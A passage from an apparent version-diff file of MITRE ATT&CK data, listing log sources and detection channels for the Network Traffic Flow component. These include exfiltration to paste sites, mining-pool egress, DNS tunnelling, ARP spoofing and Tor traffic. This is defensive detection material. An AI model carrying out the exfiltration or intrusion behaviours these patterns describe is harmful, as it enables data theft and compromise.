IP/namespace to Internet or non-approved CIDRs/ASNs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"New VM egress to crypto-mining pools or non-approved Internet ranges within minutes of boot\"}, {\"name\": \"docker:events\", \"channel\": \"remote API calls to /containers/create or /containers/{id}/start\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http::request: Network connection to package registry or C2 from interpreter shortly after install\"}, {\"name\": \"linux:syslog\", \"channel\": \"Integrity mismatch warnings or malformed packets detected\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http::request: Outbound HTTP initiated by Python interpreter\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"Outbound requests with forged tokens/cookies in headers\"}, {\"name\": \"linux:syslog\", \"channel\": \"DNS response IPs followed by connections to non-standard calculated ports\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"DNS responses followed by connections to ports outside standard ranges\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Persistent outbound traffic to mining domains\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Encrypted session initiation by unexpected binary\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"Inspection of sockets showing encrypted sessions from non-baseline processes\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Abnormal certificate chains or non-standard ports carrying TLS\"}, {\"name\": \"NSM:Flow\", \"channel\": \"DrsAddEntry, DrsReplicaAdd, GetNCChanges calls between non-DC and DCs.\"}, {\"name\": \"NSM:Flow\", \"channel\": \"large HTTPS POST requests to text storage domains\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"HTTPS POST connections to pastebin-like domains\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Unexpected ARP replies or DNS responses inconsistent with authoritative servers\"}, {\"name\": \"NSM:Flow\", \"channel\": \"TLS downgrade or inconsistent DNS answers\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Unusual request pattern leading up to service crash (e.g., malformed or oversized payload)\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"Large volume of malformed or synthetic payloads to application endpoints prior to failure\"}, {\"name\": \"networkconfig \", \"channel\": \"interface flag PROMISC, netstat | ip link | ethtool\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"eventMessage = 'promiscuous'\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"config change (e.g., logging buffered, pcap buffers)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"outbound HTTPS connections to code repository APIs\"}, {\"name\": \"azure:activity\", \"channel\": \"networkInsightsLogs\"}, {\"name\": \"gcp:audit\", \"channel\": \"network.query*\"}, {\"name\": \"WinEventLog:Microsoft-Windows-Windows Defender/Operational\", \"channel\": \"Unusual external domain access\"}, {\"name\": \"NSM:Flow\", \"channel\": \"conn.log or http.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http: HTTP bodies/headers contain long tokens with non-standard alphabets or constant-size periodic POSTs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"dns: DNS labels with excessive length and restricted custom alphabets (e.g., base36 only) repeated frequently\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http: suspicious long tokens with custom alphabets in body/headers\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http: HTTP bodies from ESXi host IPs containing long, non-standard tokens\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Traffic patterns showing downgrade from strong encryption (AES-256) to weaker or plaintext protocols\"}, {\"name\": \"NSM:Flow\", \"channel\": \"HTTP(S) requests with User-Agents typical of PowerShell or curl from desktop; or URIs matching paste-inspired payload hosts\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Egress to non-approved networks from host after terminal exec\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Flow/PCAP analysis for outbound payloads\"}, {\"name\": \"NSM:Flow\", \"channel\": \"conn.log + files.log + ssl.log\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"eventMessage = 'open', 'sendto', 'connect'\"}, {\"name\": \"NSM:Flow\", \"channel\": \"HTTPS or custom protocol traffic with large payloads\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"network stack module logs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Unexpected script or binary content returned in HTTP response body\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Injected content responses with unexpected script/malware signatures\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Content injection observed in HTTPS responses with mismatched certificates or altered payloads\"}, {\"name\": \"NSM:Firewall\", \"channel\": \"High rate of inbound TCP SYN or ACK packets with missing 3-way handshake completion\"}, {\"name\": \"NSM:Firewall\", \"channel\": \"Anomalous TCP SYN or ACK spikes from specific source or interface\"}, {\"name\": \"saas:confluence\", \"channel\": \"REST API access from non-browser agents\"}, {\"name\": \"Netfilter/iptables\", \"channel\": \"Forwarded packets log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Relay patterns across IP hops\"}, {\"name\": \"NSM:Firewall\", \"channel\": \"Outbound encrypted traffic\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ldap.log\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"dns-sd, mDNSResponder, socket activity\"}, {\"name\": \"networkdevice:IDS\", \"channel\": \"content inspection / PCAP / HTTP body\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Probe responses from unauthorized APs responding to client probe requests\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"setsockopt, ioctl modifying ARP entries\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Excessive gratuitous ARP replies on local subnet\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Inbound HTTP POST with suspicious payload size or user-agent\"}, {\"name\": \"NSM:Flow\", \"channel\": \"POST requests to .php, .jsp, .aspx files with high entropy body\"}, {\"name\": \"NSM:Flow\", \"channel\": \"dns.log\"}, {\"name\": \"NSM:FLow\", \"channel\": \"dns.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Encrypted tunnels or proxy traffic to non-standard destinations\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"Suspicious traffic filtered or redirected by VM networking stack\"}, {\"name\": \"NSM:Flow\", \"channel\": \"large transfer from management IPs to unauthorized host\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Sustained abnormal inbound request rate targeting application ports (e.g., 80/443/25)\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ftp.log, smb_files.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ftp.log, conn.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"mirror/SPAN port\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ftp.log, conn.log, smb_files.log\"}, {\"name\": \"linux:syslog\", \"channel\": \"Multiple NXDOMAIN responses and high entropy domains\"}, {\"name\": \"NSM:Flow\", \"channel\": \"SSL/TLS Inspection or PCAP\"}, {\"name\": \"NSM:Flow\", \"channel\": \"conn.log, ssl.log\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process + network activity\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http, dns, smb, ssl logs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"dns, ssl, conn\"}, {\"name\": \"NSM:Flow\", \"channel\": \"conn.log, http.log, dns.log, ssl.log\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Authentication failures, unexpected community string usage, or unauthorized SNMPv1/v2 requests\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ICMP/UDP traffic (Wireshark, Suricata, Zeek)\"}, {\"name\": \"NSM:Flow\", \"channel\": \"icmp.log, weird.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ICMP/UDP monitoring (tcpdump, Wireshark, Zeek)\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"VMCI syslog entries\"}, {\"name\": \"NSM:Firewall\", \"channel\": \"ICMP/UDP protocol anomaly\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Unusual responses to LLMNR (UDP 5355) or NBT-NS (UDP 137) queries from unauthorized hosts\"}, {\"name\": \"NSM:Flow\", \"channel\": \"DHCP OFFER or ACK with unauthorized DNS/gateway parameters\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Multiple DHCP OFFER responses for a single DISCOVER\"}, {\"name\": \"NSM:Flow\", \"channel\": \"SSL/TLS Handshake Analysis\"}, {\"name\": \"NSM:Flow\", \"channel\": \"HTTP Header Metadata\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Network Capture TLS/HTTP\"}, {\"name\": \"NSM:Content\", \"channel\": \"SSL Certificate Metadata\"}, {\"name\": \"NSM:Content\", \"channel\": \"HTTP Header Metadata\"}, {\"name\": \"NSM:Content\", \"channel\": \"TLS Fingerprint and Certificate Analysis\"}, {\"name\": \"NSM:Flow\", \"channel\": \"container egress to unknown IPs/domains\"}, {\"name\": \"gcp:vpcflow\", \"channel\": \"first 5m egress to unknown ASNs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"HTTP Request Logging\"}, {\"name\": \"WinEventLog:iis\", \"channel\": \"IIS Logs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"subsystem=com.apple.WebKit\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"Unusual volume of data transferred from S3 storage endpoints to non-corporate IPs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ssh connections originating from third-party CIDRs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ssh/smb connections to internal resources from third-party devices\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Degraded encryption throughput or switch to weaker cipher suites compared to historical baselines\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ssl.log (for TLS handshake analysis), dns.log (tunneling indicators)\"}, {\"name\": \"NSM:Flow\", \"channel\": \"host switch egress data\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound HTTP/S\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"subsystem: com.apple.WebKit or com.apple.WebKit.Networking\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ssl.log - Certificate Analysis\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ssl.log, conn.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ssl.log, x509.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Packets with unusual flags or payloads outside established flows (e.g., WoL magic FF\\u00d76 + 16\\u00d7MAC)\"}, {\"name\": \"WIDS:AssociationLogs\", \"channel\": \"Unauthorized AP or anomalous MAC address connection attempts\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"encrypted outbound traffic carrying unexpected application data\"}, {\"name\": \"esxcli:network\", \"channel\": \"listening sockets bound with non-standard encapsulated protocols\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Persistent outbound connections with consistent periodicity\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"TLS connections with abnormal handshake sequence or self-signed cert\"}, {\"name\": \"esxcli:network\", \"channel\": \"Socket inspection showing RSA key exchange outside baseline endpoints\"}, {\"name\": \"IDS:TLSInspection\", \"channel\": \"Malformed certs, incomplete asymmetric handshakes, or invalid CAs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Web server process initiating outbound TCP connections not tied to normal server traffic\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"outbound TLS connections to cloud storage providers\"}, {\"name\": \"saas:box\", \"channel\": \"API calls exceeding baseline thresholds\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"outbound HTTPS connections to cloud storage APIs\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"High volume internal-to-internal IP transfer or cross-account cloud transfer\"}, {\"name\": \"etw:Microsoft-Windows-WinINet\", \"channel\": \"WinINet API telemetry\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process, network\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Unusual POST requests to admin or upload endpoints\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Suspicious POSTs to upload endpoints\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Authentication failures or unusual community string usage in SNMP queries\"}, {\"name\": \"API:ConfigRepoAudit\", \"channel\": \"Access to configuration repository endpoints, unusual enumeration requests or mass downloads\"}, {\"name\": \"NSM:Content\", \"channel\": \"Traffic on RPC DRSUAPI\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process = 'ssh' OR eventMessage CONTAINS 'ssh'\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:34.343000+00:00\", \"old_value\": \"2025-04-18 15:11:16.672000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:14:34.703000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0078", + "external_id": "DC0078" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Network Traffic Flow", + "description": "Summarized network packet data that captures session-level details such as source/destination IPs, ports, protocol types, timestamps, and data volume, without storing full packet payloads. This is commonly used for traffic analysis, anomaly detection, and network performance monitoring.\n\n*Data Collection Measures:*\n\n- Network Flow Logs (Metadata Collection)\n - NetFlow \n - Summarized metadata for network conversations (no packet payloads).\n - sFlow (Sampled Flow Logging)\n - Captures sampled packets from switches and routers.\n - Used for real-time traffic monitoring and anomaly detection.\n - Zeek (Bro) Flow Logs\n - Zeek logs session-level details in logs like conn.log, http.log, dns.log, etc.\n- Host-Based Collection\n - Sysmon Event ID 3 \u2013 Network Connection Initiated\n - Logs process-level network activity, useful for detecting malicious outbound connections.\n - AuditD (Linux) \u2013 syscall=connect\n - Monitors system calls for network connections. `auditctl -a always,exit -F arch=b64 -S connect -k network_activity`\n- Cloud & SaaS Flow Monitoring\n - AWS VPC Flow Logs\n - Captures metadata for traffic between EC2 instances, security groups, and internet gateways.\n - Azure NSG Flow Logs / Google VPC Flow Logs\n - Logs ingress/egress traffic for cloud-based resources.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Network Traffic", + "channel": "None" + }, + { + "name": "macos:osquery", + "channel": "socket_events" + }, + { + "name": "NSM:Flow", + "channel": "Unexpected flows between segmented networks or prohibited ports" + }, + { + "name": "snmp:config", + "channel": "Configuration change traps or policy enforcement failures" + }, + { + "name": "NSM:Flow", + "channel": "First-time outbound connections to package registries or unknown hosts immediately after restore/build" + }, + { + "name": "NSM:Flow", + "channel": "First-time egress to new registries/CDNs post-install/build" + }, + { + "name": "NSM:Flow", + "channel": "First-time egress to non-approved registries after dependency install" + }, + { + "name": "NSM:Flow", + "channel": "Outbound connections to TCP 139,445 and HTTP/HTTPS to WebDAV endpoints from workstation subnets" + }, + { + "name": "NSM:Flow", + "channel": "large outbound data flows or long-duration connections" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "egress > 90th percentile or frequent connection reuse" + }, + { + "name": "NSM:Flow", + "channel": "conn.log" + }, + { + "name": "auditd:SYSCALL", + "channel": "socket/connect" + }, + { + "name": "esxi:syslog", + "channel": "esxcli network vswitch or DNS resolver configuration updates" + }, + { + "name": "esxi:vobd", + "channel": "Network Events" + }, + { + "name": "iptables:LOG", + "channel": "TCP connections" + }, + { + "name": "NSM:Flow", + "channel": "connection metadata" + }, + { + "name": "wineventlog:dhcp", + "channel": "DHCP Lease Granted" + }, + { + "name": "NSM:Flow", + "channel": "LEASE_GRANTED" + }, + { + "name": "NSM:Flow", + "channel": "MAC not in allow-list acquiring IP (DHCP)" + }, + { + "name": "Windows Firewall Log", + "channel": "SMB over high port" + }, + { + "name": "NSM:Connections", + "channel": "Internal connection logging" + }, + { + "name": "NSM:Flow", + "channel": "pf firewall logs" + }, + { + "name": "esxi:vmkernel", + "channel": "/var/log/vmkernel.log" + }, + { + "name": "NSM:Flow", + "channel": "Inter-segment traffic" + }, + { + "name": "NSM:Flow", + "channel": "None" + }, + { + "name": "NSM:Flow", + "channel": "Long-lived or hijacked SSH sessions maintained with no active user activity" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "VPC/NSG flow logs for pod/instance egress to Internet or metadata" + }, + { + "name": "macos:unifiedlog", + "channel": "Suspicious outbound traffic from browser binary to non-standard domains" + }, + { + "name": "NSM:Flow", + "channel": "Abnormal browser traffic volume or destination" + }, + { + "name": "NSM:Flow", + "channel": "Outbound requests to domains not previously resolved or associated with phishing campaigns" + }, + { + "name": "NSM:Flow", + "channel": "Outbound traffic to domains/IPs not previously resolved, occurring shortly after attachment download or link click" + }, + { + "name": "M365Defender:DeviceNetworkEvents", + "channel": "NetworkConnection: bytes_sent >> bytes_received anomaly" + }, + { + "name": "PF:Logs", + "channel": "outbound flows with bytes_out >> bytes_in" + }, + { + "name": "NSX:FlowLogs", + "channel": "network_flow: bytes_out >> bytes_in to external" + }, + { + "name": "NSM:Flow", + "channel": "NetFlow/Zeek conn.log" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "Outbound data flows" + }, + { + "name": "NSM:Flow", + "channel": "Flow records with entropy signatures resembling symmetric encryption" + }, + { + "name": "NSM:Flow", + "channel": "flow records" + }, + { + "name": "networkdevice:syslog", + "channel": "flow records" + }, + { + "name": "macos:unifiedlog", + "channel": "HTTPS POST to known webhook URLs" + }, + { + "name": "saas:api", + "channel": "Webhook registrations or repeated POST activity" + }, + { + "name": "NSM:Flow", + "channel": "Source/destination IP translation inconsistent with intended policy" + }, + { + "name": "SNMP:DeviceLogs", + "channel": "Unexpected NAT translation statistics or rule insertion events" + }, + { + "name": "NSM:Flow", + "channel": "Sudden spike in incoming flows to web service ports from single/multiple IPs" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "Unusual volume of inbound packets from single source across short time interval" + }, + { + "name": "NSM:Flow", + "channel": "port 5900 inbound" + }, + { + "name": "NSM:Flow", + "channel": "TCP port 5900 open" + }, + { + "name": "NSM:firewall", + "channel": "inbound connection to port 5900" + }, + { + "name": "NSM:Firewall", + "channel": "Outbound connections to 139/445 to multiple destinations" + }, + { + "name": "VPCFlowLogs:All", + "channel": "High volume internal traffic with low entropy indicating looped or malicious DoS script" + }, + { + "name": "NSM:Flow", + "channel": "NetFlow/sFlow/PCAP" + }, + { + "name": "NSM:Flow", + "channel": "Outbound Network Flow" + }, + { + "name": "macos:unifiedlog", + "channel": "com.apple.network" + }, + { + "name": "NSM:Flow", + "channel": "Device-to-Device Deployment Flows" + }, + { + "name": "auditd:SYSCALL", + "channel": "socket/connect syscalls" + }, + { + "name": "macos:unifiedlog", + "channel": "outbound TCP/UDP traffic over unexpected port" + }, + { + "name": "esxi:vpxd", + "channel": "ESXi service connections on unexpected ports" + }, + { + "name": "iptables:LOG", + "channel": "OUTBOUND" + }, + { + "name": "macos:unifiedlog", + "channel": "tcp/udp" + }, + { + "name": "esxi:hostd", + "channel": "CLI network calls" + }, + { + "name": "NSM:Flow", + "channel": "Outbound traffic from suspicious new processes post-attachment execution" + }, + { + "name": "macos:unifiedlog", + "channel": "Suspicious anomalies in transmitted data integrity during application network operations" + }, + { + "name": "esxi:syslog", + "channel": "DNS resolution events leading to outbound traffic on unexpected ports" + }, + { + "name": "NSM:Flow", + "channel": "Outbound traffic to mining pools or proxies" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "Outbound flow logs to known mining pools" + }, + { + "name": "container:cni", + "channel": "Outbound network traffic to mining proxies" + }, + { + "name": "esxi:vpxd", + "channel": "TLS session established by ESXi service to unapproved endpoint" + }, + { + "name": "NSM:Flow", + "channel": "Session records with TLS-like byte patterns" + }, + { + "name": "macos:unifiedlog", + "channel": "HTTPS POST requests to pastebin.com or similar" + }, + { + "name": "NetFlow:Flow", + "channel": "new outbound connections from exploited process tree" + }, + { + "name": "NSM:Connections", + "channel": "new connections from exploited lineage" + }, + { + "name": "NSM:Flow", + "channel": "Unexpected route changes or duplicate gateway advertisements" + }, + { + "name": "WinEventLog:Microsoft-Windows-Windows Firewall With Advanced Security/Firewall", + "channel": "EventCode=2004,2005,2006" + }, + { + "name": "NSM:Flow", + "channel": "Knock pattern: repeated REJ/S0 across \u2265MinSequenceLen ports from same src_ip then SF success." + }, + { + "name": "macos:unifiedlog", + "channel": "Firewall/PF anchor load or rule change events." + }, + { + "name": "networkdevice:syslog", + "channel": "Config/ACL changes, line vty transport input changes, telnet/ssh/http(s) enable, image/feature module changes." + }, + { + "name": "NSM:Flow", + "channel": "First-time egress to non-approved update hosts right after install/update" + }, + { + "name": "NSM:Flow", + "channel": "New outbound flows to non-approved vendor hosts post install" + }, + { + "name": "NSM:Flow", + "channel": "New/rare egress to non-approved update hosts after install" + }, + { + "name": "NSM:Flow", + "channel": "large outbound HTTPS uploads to repo domains" + }, + { + "name": "esxi:vmkernel", + "channel": "HTTPS traffic to repository domains" + }, + { + "name": "NSM:Flow", + "channel": "alert log" + }, + { + "name": "esxi:vmkernel", + "channel": "None" + }, + { + "name": "NSM:Flow", + "channel": "Outbound flow records" + }, + { + "name": "m365:defender", + "channel": "NetworkConnection: high out:in ratio, periodic beacons, protocol mismatch" + }, + { + "name": "PF:Logs", + "channel": "high out:in ratio or fixed-size periodic flows" + }, + { + "name": "NSM:Flow", + "channel": "network_flow: bytes_out >> bytes_in, fixed packet sizes/intervals to non-approved CIDRs" + }, + { + "name": "auditd:SYSCALL", + "channel": "connect or sendto system call with burst pattern" + }, + { + "name": "macos:unifiedlog", + "channel": "sudden burst in outgoing packets from same PID" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "source instance sends large volume of traffic in short window" + }, + { + "name": "NSM:Flow", + "channel": "session stats with bytes_out > bytes_in" + }, + { + "name": "NIDS:Flow", + "channel": "session stats with bytes_out > bytes_in" + }, + { + "name": "esxi:vpxa", + "channel": "connection attempts and data transmission logs" + }, + { + "name": "PF:Logs", + "channel": "External traffic to remote access services" + }, + { + "name": "NSM:Flow", + "channel": "High volumes of SYN/ACK packets with unacknowledged TCP handshakes" + }, + { + "name": "dns:query", + "channel": "Outbound resolution to hidden service domains (e.g., `.onion`)" + }, + { + "name": "NSM:Flow", + "channel": "conn.log + ssl.log with Tor fingerprinting" + }, + { + "name": "macos:unifiedlog", + "channel": "forwarded encrypted traffic" + }, + { + "name": "NSM:Flow", + "channel": "Relayed session pathing (multi-hop)" + }, + { + "name": "NSM:Flow", + "channel": "Outbound TCP SYN or UDP to multiple ports/hosts" + }, + { + "name": "containerd:runtime", + "channel": "container-level outbound traffic events" + }, + { + "name": "WLANLogs:Association", + "channel": "Multiple APs advertising the same SSID but with different BSSID/MAC or encryption type" + }, + { + "name": "linux:osquery", + "channel": "socket_events" + }, + { + "name": "WinEventLog:Security", + "channel": "ARP cache modification attempts observed through event tracing or security baselines" + }, + { + "name": "NSM:Flow", + "channel": "Gratuitous ARP replies with mismatched IP-MAC binding" + }, + { + "name": "macos:unifiedlog", + "channel": "ARP table updates inconsistent with expected gateway or DHCP lease assignments" + }, + { + "name": "macos:unifiedlog", + "channel": "networkd or com.apple.network" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream 'eventMessage contains \"dns_request\"'" + }, + { + "name": "esxi:syslog", + "channel": "/var/log/syslog.log" + }, + { + "name": "AWS:CloudTrail", + "channel": "CreateTrafficMirrorSession or ModifyTrafficMirrorTarget" + }, + { + "name": "networkdevice:syslog", + "channel": "Config change: CLI/NETCONF/SNMP \u2013 'monitor session', 'mirror port'" + }, + { + "name": "NSM:Flow", + "channel": "Outbound UDP floods targeting common reflection services with spoofed IP headers" + }, + { + "name": "macos:unifiedlog", + "channel": "Outbound UDP spikes to external reflector IPs" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "Large outbound UDP traffic to multiple public reflector IPs" + }, + { + "name": "macos:unifiedlog", + "channel": "High entropy domain queries with multiple NXDOMAINs" + }, + { + "name": "esxi:syslog", + "channel": "Frequent DNS queries with high entropy names or NXDOMAIN results" + }, + { + "name": "vpxd.log", + "channel": "API communication" + }, + { + "name": "NSM:Connections", + "channel": "Outbound Connection" + }, + { + "name": "NSM:Flow", + "channel": "Connection Tracking" + }, + { + "name": "NSM:Firewall", + "channel": "pf firewall logs" + }, + { + "name": "NSM:Flow", + "channel": "Flow Creation (NetFlow/sFlow)" + }, + { + "name": "NSM:Flow", + "channel": "conn.log, icmp.log" + }, + { + "name": "NSM:Flow", + "channel": "Abnormal SMB authentication attempts correlated with poisoned LLMNR/NBT-NS sessions" + }, + { + "name": "NSM:Flow", + "channel": "Gratuitous or duplicate DHCP OFFER packets from non-legitimate servers" + }, + { + "name": "NSM:Connections", + "channel": "Inbound on ports 5985/5986" + }, + { + "name": "linux:syslog", + "channel": "Multiple IP addresses assigned to the same domain in rapid sequence" + }, + { + "name": "macos:unifiedlog", + "channel": "Rapid domain-to-IP resolution changes for same domain" + }, + { + "name": "esxi:syslog", + "channel": "Frequent DNS resolution of same domain with rotating IPs" + }, + { + "name": "NSM:Flow", + "channel": "uncommon ports" + }, + { + "name": "NSM:Flow", + "channel": "alternate ports" + }, + { + "name": "esxi:vpxd", + "channel": "None" + }, + { + "name": "NSM:Flow", + "channel": "conn.log or flow data" + }, + { + "name": "esxi:vmkernel", + "channel": "egress log analysis" + }, + { + "name": "esxi:vmkernel", + "channel": "egress logs" + }, + { + "name": "NSM:Flow", + "channel": "High volume flows with incomplete TCP sessions or single-packet bursts" + }, + { + "name": "NSM:Flow", + "channel": "Knock pattern: multiple REJ/S0 to distinct closed ports then successful connection to service_port" + }, + { + "name": "macos:unifiedlog", + "channel": "Firewall rule enable/disable or listen socket changes" + }, + { + "name": "networkdevice:syslog", + "channel": "Config/ACL/line vty changes, service enable (telnet/ssh/http(s)), module reloads" + }, + { + "name": "auditd:SYSCALL", + "channel": "ioctl: Changes to wireless network interfaces (up, down, reassociate)" + }, + { + "name": "macos:osquery", + "channel": "query: Historical list of associated SSIDs compared against baseline" + }, + { + "name": "NSM:Flow", + "channel": "First-time egress from host after new install to unknown update endpoints" + }, + { + "name": "NSM:Flow", + "channel": "First-time egress to unknown registries/mirrors immediately after install" + }, + { + "name": "NSM:Flow", + "channel": "New egress from app just installed to unknown update endpoints" + }, + { + "name": "esxi:vpxd", + "channel": "ESXi processes relaying traffic via SSH or unexpected ports" + }, + { + "name": "NSM:Flow", + "channel": "Outbound connection to mining pool port (3333, 4444, 5555)" + }, + { + "name": "NSM:Flow", + "channel": "Outbound traffic to mining pool upon container launch" + }, + { + "name": "NSM:Flow", + "channel": "Flow records with RSA key exchange on unexpected port" + }, + { + "name": "NSM:Flow", + "channel": "Outbound connections from web server binaries (apache2, nginx, php-fpm) to unknown external IPs" + }, + { + "name": "NSM:Flow", + "channel": "sustained outbound HTTPS sessions with high data volume" + }, + { + "name": "NSM:Flow", + "channel": "Connections from IDE hosts to marketplace/tunnel domains" + }, + { + "name": "macos:unifiedlog", + "channel": "Outbound connections from IDE processes to marketplace/tunnel domains" + }, + { + "name": "NSM:Flow", + "channel": "large HTTPS outbound uploads" + }, + { + "name": "esxi:vmkernel", + "channel": "network flows to external cloud services" + }, + { + "name": "NSM:Flow", + "channel": "TCP port 22 traffic" + }, + { + "name": "esxi:vmkernel", + "channel": "port 22 access" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "mobile-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0078\", \"external_id\": \"DC0078\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Network Traffic\", \"channel\": \"None\"}, {\"name\": \"macos:osquery\", \"channel\": \"socket_events\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Unexpected flows between segmented networks or prohibited ports\"}, {\"name\": \"snmp:config\", \"channel\": \"Configuration change traps or policy enforcement failures\"}, {\"name\": \"NSM:Flow\", \"channel\": \"First-time outbound connections to package registries or unknown hosts immediately after restore/build\"}, {\"name\": \"NSM:Flow\", \"channel\": \"First-time egress to new registries/CDNs post-install/build\"}, {\"name\": \"NSM:Flow\", \"channel\": \"First-time egress to non-approved registries after dependency install\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound connections to TCP 139,445 and HTTP/HTTPS to WebDAV endpoints from workstation subnets\"}, {\"name\": \"NSM:Flow\", \"channel\": \"large outbound data flows or long-duration connections\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"egress > 90th percentile or frequent connection reuse\"}, {\"name\": \"NSM:Flow\", \"channel\": \"conn.log\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"socket/connect\"}, {\"name\": \"esxi:syslog\", \"channel\": \"esxcli network vswitch or DNS resolver configuration updates\"}, {\"name\": \"esxi:vobd\", \"channel\": \"Network Events\"}, {\"name\": \"iptables:LOG\", \"channel\": \"TCP connections\"}, {\"name\": \"NSM:Flow\", \"channel\": \"connection metadata\"}, {\"name\": \"wineventlog:dhcp\", \"channel\": \"DHCP Lease Granted\"}, {\"name\": \"NSM:Flow\", \"channel\": \"LEASE_GRANTED\"}, {\"name\": \"NSM:Flow\", \"channel\": \"MAC not in allow-list acquiring IP 